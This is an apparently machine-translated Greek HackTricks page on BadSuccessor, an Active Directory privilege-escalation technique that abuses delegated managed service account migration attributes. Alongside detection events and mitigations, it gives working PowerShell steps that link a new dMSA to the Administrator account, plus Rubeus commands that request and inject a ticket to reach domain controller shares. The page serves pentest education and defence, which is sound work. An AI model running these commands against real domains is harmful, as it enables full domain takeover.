BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Overview
Delegated Managed Service Accounts (dMSA) είναι ο επόμενης γενιάς διάδοχος των gMSA που περιλαμβάνονται στα Windows Server 2025. Μια νόμιμη ροή εργασίας μετανάστευσης επιτρέπει στους διαχειριστές να αντικαταστήσουν έναν παλιό λογαριασμό (χρήστη, υπολογιστή ή λογαριασμό υπηρεσίας) με ένα dMSA διατηρώντας διαφανώς τις άδειες. Η ροή εργασίας εκτίθεται μέσω των PowerShell cmdlets όπως Start-ADServiceAccountMigration
και Complete-ADServiceAccountMigration
και βασίζεται σε δύο LDAP χαρακτηριστικά του dMSA object:
msDS-ManagedAccountPrecededByLink
– DN link στον υπερκείμενο (παλιό) λογαριασμό.msDS-DelegatedMSAState
– κατάσταση μετανάστευσης (0
= καμία,1
= σε εξέλιξη,2
= ολοκληρωμένη).
Εάν ένας επιτιθέμενος μπορεί να δημιουργήσει οποιοδήποτε dMSA μέσα σε μια OU και να χειριστεί άμεσα αυτά τα 2 χαρακτηριστικά, οι LSASS & KDC θα θεωρήσουν το dMSA ως διάδοχο του συνδεδεμένου λογαριασμού. Όταν ο επιτιθέμενος στη συνέχεια αυθεντικοποιείται ως dMSA κληρονομεί όλα τα δικαιώματα του συνδεδεμένου λογαριασμού – έως Domain Admin αν ο λογαριασμός Administrator είναι συνδεδεμένος.
Αυτή η τεχνική ονομάστηκε BadSuccessor από την Unit 42 το 2025. Στη στιγμή της συγγραφής δεν είναι διαθέσιμο κανένα security patch; μόνο η σκληροποίηση των αδειών OU μετριάζει το ζήτημα.
Attack prerequisites
- Ένας λογαριασμός που επιτρέπεται να δημιουργεί αντικείμενα μέσα σε μια Οργανωτική Μονάδα (OU) και έχει τουλάχιστον ένα από τα εξής:
Create Child
→msDS-DelegatedManagedServiceAccount
object classCreate Child
→All Objects
(γενική δημιουργία)
- Δικτυακή συνδεσιμότητα με LDAP & Kerberos (τυπικό σενάριο συνδεδεμένου τομέα / απομακρυσμένη επίθεση).
Enumerating Vulnerable OUs
Η Unit 42 δημοσίευσε ένα PowerShell helper script που αναλύει τους περιγραφείς ασφαλείας κάθε OU και επισημαίνει τις απαιτούμενες ACEs:
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
Κάτω από την επιφάνεια, το σενάριο εκτελεί μια σελιδοποιημένη αναζήτηση LDAP για (objectClass=organizationalUnit)
και ελέγχει κάθε nTSecurityDescriptor
για
ADS_RIGHT_DS_CREATE_CHILD
(0x0001)Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8
(object class msDS-DelegatedManagedServiceAccount)
Βήματα Εκμετάλλευσης
Μόλις εντοπιστεί ένα εγ writable OU, η επίθεση είναι μόνο 3 εγγραφές LDAP μακριά:
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"
# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
Μετά την αναπαραγωγή, ο επιτιθέμενος μπορεί απλά να logon ως attacker_dMSA$
ή να ζητήσει ένα Kerberos TGT – τα Windows θα δημιουργήσουν το token του superseded λογαριασμού.
Αυτοματοποίηση
Πολλές δημόσιες PoCs περιλαμβάνουν ολόκληρη τη ροή εργασίας, συμπεριλαμβανομένης της ανάκτησης κωδικού πρόσβασης και της διαχείρισης εισιτηρίων:
- SharpSuccessor (C#) – https://github.com/logangoins/SharpSuccessor
- BadSuccessor.ps1 (PowerShell) – https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1
- NetExec module –
badsuccessor
(Python) – https://github.com/Pennyw0rth/NetExec
Μετά την εκμετάλλευση
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>
# Access Domain Admin resources
dir \\DC01\C$
Ανίχνευση & Κυνήγι
Ενεργοποιήστε την Επιθεώρηση Αντικειμένων σε OUs και παρακολουθήστε τα εξής Windows Security Events:
- 5137 – Δημιουργία του αντικειμένου dMSA
- 5136 – Τροποποίηση του
msDS-ManagedAccountPrecededByLink
- 4662 – Συγκεκριμένες αλλαγές χαρακτηριστικών
- GUID
2f5c138a-bd38-4016-88b4-0ec87cbb4919
→msDS-DelegatedMSAState
- GUID
a0945b2b-57a2-43bd-b327-4d112a4e8bd1
→msDS-ManagedAccountPrecededByLink
- 2946 – Έκδοση TGT για το dMSA
Η συσχέτιση 4662
(τροποποίηση χαρακτηριστικών), 4741
(δημιουργία υπολογιστή/λογαριασμού υπηρεσίας) και 4624
(επόμενη σύνδεση) επισημαίνει γρήγορα τη δραστηριότητα BadSuccessor. Οι λύσεις XDR όπως το XSIAM περιλαμβάνουν έτοιμες προς χρήση ερωτήσεις (βλ. αναφορές).
Μετριασμός
- Εφαρμόστε την αρχή της ελάχιστης εξουσίας – μόνο αναθέστε τη διαχείριση Λογαριασμού Υπηρεσίας σε αξιόπιστους ρόλους.
- Αφαιρέστε το
Create Child
/msDS-DelegatedManagedServiceAccount
από OUs που δεν το απαιτούν ρητά. - Παρακολουθήστε τα IDs γεγονότων που αναφέρονται παραπάνω και ειδοποιήστε για μη-Tier-0 ταυτότητες που δημιουργούν ή επεξεργάζονται dMSAs.
Δείτε επίσης
Αναφορές
- Unit42 – Όταν οι Καλοί Λογαριασμοί Γίνονται Κακοί: Εκμετάλλευση των Αντιπροσωπευτικών Λογαριασμών Υπηρεσίας
- SharpSuccessor PoC
- BadSuccessor.ps1 – Συλλογή Εργαλείων Pentest
- NetExec BadSuccessor module
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.